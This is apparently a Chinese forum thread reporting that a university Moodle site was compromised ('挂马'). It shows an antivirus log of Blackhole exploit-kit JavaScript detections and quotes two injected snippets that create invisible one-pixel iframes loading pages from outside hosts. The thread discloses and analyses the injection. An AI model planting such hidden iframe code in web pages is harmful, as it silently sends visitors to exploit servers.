http://scbu.edu/moodle/【挂马 by 蓝核】

墨家小子

2013/4/19        20:23:07        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YPFK374L\cookies[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/19        20:23:07        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YPFK374L\javascript-static[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/19        20:23:08        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YPFK374L\overlib[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/19        20:23:08        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YPFK374L\moodle[1].htm\00000eb2.js        JS/Exploit-Blacole.le (特洛伊)
2013/4/19        20:23:08        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YPFK374L\moodle[1].htm\0002e3b6.js        JS/Exploit-Blacole.le (特洛伊)
2013/4/19        20:23:08        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YPFK374L\moodle[1].htm\00036467.js        JS/Exploit-Blacole.le (特洛伊)

蓝核

1. (function () {
   
2.     var phyz = document.createElement('iframe');
   
3. 
   
4.     phyz.src = 'http://stockbillion.com/count.php';
   
5.     phyz.style.position = 'absolute';
   
6.     phyz.style.border = '0';
   
7.     phyz.style.height = '1px';
   
8.     phyz.style.width = '1px';
   
9.     phyz.style.left = '1px';
   
10.     phyz.style.top = '1px';

复制代码

1. (function () {
   
2.     var kuw = document.createElement('iframe');
   
3. 
   
4.     kuw.src = 'http://www.hotelsanbada.com/scripts/dtd.php';
   
5.     kuw.style.position = 'absolute';
   
6.     kuw.style.border = '0';
   
7.     kuw.style.height = '1px';
   
8.     kuw.style.width = '1px';
   
9.     kuw.style.left = '1px';
   
10.     kuw.style.top = '1px';
    

复制代码